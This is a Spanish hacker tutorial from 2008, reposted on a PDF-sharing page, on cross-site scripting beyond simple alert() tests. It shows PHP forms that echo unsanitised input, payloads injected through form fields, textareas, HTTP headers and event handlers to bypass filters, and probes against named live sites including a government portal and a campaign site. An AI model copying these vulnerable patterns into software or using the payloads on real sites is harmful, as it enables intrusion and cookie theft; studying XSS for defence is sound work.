PDF de programación - xss1espac3b1ol

Imágen de pdf xss1espac3b1ol

xss1espac3b1olgráfica de visualizaciones

Publicado el 26 de Febrero del 2019
619 visualizaciones desde el 26 de Febrero del 2019
267,6 KB
21 paginas
Creado hace 15a (13/06/2008)
[ 0x000 ] - Hello World

En esta paper vamos a hablar sobre XSS.

Pero iremos mas allá del alert();

¿Qué quiere decir esto?

Que no nos vamos a limitar a sacar el XSS simplemente con el

tipico script:

<script>alert("XSS")</script>

Saludos a los Friends:

- Celciuz

- you_kn0w

- N.O.X

- C1c4Tr1Z

- OzX

- MurdeR

- Syst3m-c0d3r

- m0x.lk

Saludos a todos los usuarios de:

http://new-bytes.net
http://diosdelared.com

http://www.z0l-web.co.nr

[ 0x001 ] - Introducción

XSS, Cross Site Scripting

Una de las vulnerabilidades mas habituales hoy en día.

Muy Peligrosa como todas las demas, si la sabes aprovechar

puedes hacer de todo con ella.

Recuerden lo que dicen:

Una vulnerabilidad es tan limitada como tu quieras que sea :)

Desde un Robo de Cookies Hasta un Deface.

Solo necesitas 2 cosas:

1) Conocimiento
2) Imaginación

Después, el límite es el cielo.

[ Caso 1 ] – Saliéndonos del Formulario.

Uno de los casos mas comunes =)

Codigo del formulario vulnerable:

= = = = = = = = = = = = = = = = = = = = = = = = = = = = =

<html>
<head>
<title>Formulario de Busqueda</title>
</head>
<body>
<center>
<?
if(isset($_POST[texto])){
$xss=$_POST[texto];

echo "<form name=\"xss\" method=\"POST\">
<h1>0 Resultados</h1><br><hr><br><input type=\"text\"
value=\"$xss\" name=\"texto\"><br><br>
<input type=\"submit\" value=\"Buscar\"></form>";

} else {
echo "<form name=\"xss\" method=\"POST\">
<h1>Formulario de busqueda</h1><br><hr><br><input type=\"text\"
value=\"\" name=\"texto\"><br><br>
<input type=\"submit\" value=\"Buscar\"></form>";
}
?>
</center>
</body>
</html>

= = = = = = = = = = = = = = = = = = = = = = = = = = = = =

Como vemos en el source, si buscamos algo, lo que buscamos
queda incrustado en el form.

Esto es sencillo:

“>Hola – "><script>alert("XSS")</script>

Lo cual es logico ya que el formulario quedaría asi:

<input type=”text” value=””>

[ Caso 2 ] – Limitaciones en ciertos caracteres / Campos de

textos Limitados

Otro caso muy común.

Me tope con este caso en la web:

http://www.puebla.gob.mx

No podía meter en el form nada de tipo:

“>$#-|/()=\*¿?

Ni ningún carácter especial.

Busque un simple texto ( hola ) y parte de la url quedo así:

resultadosgeneral.jsp?palabra=hola&servicios=0

Asi que .. Hice algo así:

http://url/resultadosgeneral.jsp?

palabra=”><script>alert(/OK/)</script>&servicios=0

¡ Bingo !

Esto nos sirve también para Campos de texto limitados.

Esto también lo podemos hacer con TAMPER DATA (ADDON De
Firefox).

Modificando el contenido que se envía por POST:

= = = = = = == = = = == = = = == = = = == = = = =

[ Caso 3 ] – Jugando con un Textarea

Navegando pase por una web ( www.yourownbux.com ) a la

cual ya le había encontrado un XSS en el formulario de

busqueda.

Esta vez añadieron un formulario de contacto, que luce así:

Y me dije .. Mm .. ¿Por qué no?

Source del Textarea:
= = = = = = == = = = == = = = == = = = == = = = =

<textarea style="width:320px; height:120px"
name=message></textarea>

= = = = = = == = = = == = = = == = = = == = = = =

Como pueden ver con un simple "> No se puede bypassear ..
¿Que podemos hacer?

Si introducimos un Texto .. Queda asi:

= = = = = = == = = = == = = = == = = = == = = = =

<textarea style="width:320px; height:120px" name=message>Mensaje
</textarea>

= = = = = = == = = = == = = = == = = = == = = = =

Mm ...

= = = = = = == = = = == = = = == = = = == = = = =

</textarea><script>alert(/PWNED/)</script>

= = = = = = == = = = == = = = == = = = == = = = =

¿Quedaría asi no? :

= = = = = = == = = = == = = = == = = = == = = = =

<textarea style="width:320px; height:120px" name=message>
</textarea>
<script>alert(/PWNED/)</script>
</textarea>

= = = = = = == = = = == = = = == = = = == = = = =

[ Caso 5 ] – Jugando con Los Headers

Bueno, esto es muy interesante, vamos a jugar con los headers

para sacar XSS =) .

• 1 – User Agent

Source:

= = = = = = = = = = = = = = = = = = = = = = = = = = = = =
<?php

$nav = $_SERVER['HTTP_USER_AGENT'];

echo
"<b><center><h1>Navegador:</h1><br><hr><br>$nav</center></b>"
;

?>
= = = = = = = = = = = = = = = = = = = = = = = = = = = = =

Header:

Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;
q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Y Si lo modificamos?

Host: localhost
User-Agent: No me acuerdo el nombre :$
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;
q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Y … User-Agent: <script>alert(/Yeah/)</script>

• 2 – Referer

Header:

Host: www.cual-es-mi-ip-publica.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;
q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://google.com.do
Cookie: ******

Y si lo modificamos?

Host: www.cual-es-mi-ip-publica.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;
q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: <script>alert(/Yeah/)</script>
Cookie: ******

• 3 - X-Forwarded-For

Bueno, en este caso no le daré mucha explicación, solo diré
que me tope con un reto de Spoof ( no diré donde para no
arruinar el reto ) .. Y Pues, jugando con los headers, el reto se
pasaba de la siguiente manera:

Host: www.cual-es-mi-ip-publica.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;
q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://google.com
X-Forwarded-For: 127.0.0.1
Cookie: ******

Siendo 127.0.0.1 La IP A Spoofear.

Esto daba como output la IP .. En este caso sería: 127.0.0.1

Por lo tanto:

Host: www.cual-es-mi-ip-publica.com
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;
q=0.8,image/png,*/*;q=0.5
Accept-Language: en
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://google.com
X-Forwarded-For: <script>alert(/Yeah/)</script>
Cookie: ******

Es igual a:

[ Caso 6 ] – STR_Replace

¿Qué hacer cuando no contamos con un <script> para un XSS?

<?php

if(isset($_GET[xss])){

$xss = $_GET['xss'];

$xss2 = str_replace("<script>", "", $xss);
$xss3 = str_replace("alert", "", $xss2);
echo "<form name=\"Hi\">
<input type=\"text\" value=\"$xss3\" size=\"30\">
</form>";

}

?>

Si intentamos poner:

<script>alert(Yeah)</script> .. Quedaría asi:

alert(Yeah)</script>

y por lo tanto, no se produce la alerta.

Pero obviamente vamos a tratar de ir mas alla.

Como vemos en el source, si buscamos “ aaa “ este es el
resultado:

<input type="text" value="aaa" size="30">

Parecería un caso facil de “><script>alert(WTF)</script>
pero no podemos usar <script> =)

Asi que, solo nos queda pensar … El script es COMPLETAMENTE
VULNERABLE, las variables se imprimen tal cual se reciben
( excluyendo <script> )

Aquí vamos a usar los Eventos de Javascript
(http://www.w3schools.com/js/js_events.asp).

Usaremos: onblur

Si introducimos:

Onblur=alert(000) no se produce la alerta, ya que queda
DENTRO Del form..

Por lo tanto .. Si introducimos:

“ hola

Sería asi:

<input type="text" value="" hola size=”30”>

Por lo tanto, el valor del form quedaría NULO =)

“ Onblur=alert(666) “

<input type="text" value="" “ Onblur=alert(666) “
size=”30”>

En este caso estaríamos añadiendo una propiedad o evento al
input =) .. Provocando un XSS:

[ Caso 7 ] - Barackobama.com || [ C1c4Tr1Z ]

Para esta prueba voy a usar una que es conocida en estos
momentos, se trata de el sitio oficial de uno de los candidatos
a la presidencia de EEUU (se lo merecen).

La URL es http://my.barackobama.com/ y la sección que es
vulnerable http://my.barackobama.com/page/s/fellowsapp
(aunque hay otra sección que es exactamente igual:
http://my.barackobama.com/page/s/).

Pero me dirán: Por que es vulnerable?

Porque la aplicación nos permite ingresar cualquier tipo de
caracteres luego de la URL, sin necesitar ningún tipo de
petición, formulario, etc.

Por ejemplo, si agregáramos:

http://my.barackobama.com/page/s/fellowsapp+foo@bar
nos daría como resultado lo siguiente:

Y el pedazo de código:

<div id=”content”>
<div id=”column1″><div id=”page_content”><h2>Invalid signup form
requested: <strong>fellowsapp foo@bar</strong></h2>
</div>

Entonces como toda persona apresurada, probamos lo
siguiente:

http://my.barackobama.com/page/s/fellowsapp”><script>al
ert(666)</script>

Pero lo que vemos en la fuente es lo siguiente:

<div id=”content”>
<div id=”column1″><div id=”page_content”><h2>Invalid signup form
requested: <strong>fellowsapp\”><script>alert(666)<</strong></h2>
</div>

De aquí en mas solo queda PENSAR!. Las conclusiones que
podemos llegar a sacar de esto son: la aplicación permite el
ingreso de <tags> iniciales pero que no concluyan con la
inyección, o sea </script> </iframe> etc. Porque borraría
todo lo que sea ingresado despúes de la barra “/”. Y filtra las
famosas “quotes” o comillas agregando una barra invertida, o
sea ” -> \” o ‘ -> \’ .

Entonces, el método mas rápido que podríamos usar para
resolver este problema serian <tags> que no neces
  • Links de descarga
http://lwp-l.com/pdf15352

Comentarios de: xss1espac3b1ol (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios...
CerrarCerrar
CerrarCerrar
Cerrar

Tienes que ser un usuario registrado para poder insertar imágenes, archivos y/o videos.

Puedes registrarte o validarte desde aquí.

Codigo
Negrita
Subrayado
Tachado
Cursiva
Insertar enlace
Imagen externa
Emoticon
Tabular
Centrar
Titulo
Linea
Disminuir
Aumentar
Vista preliminar
sonreir
dientes
lengua
guiño
enfadado
confundido
llorar
avergonzado
sorprendido
triste
sol
estrella
jarra
camara
taza de cafe
email
beso
bombilla
amor
mal
bien
Es necesario revisar y aceptar las políticas de privacidad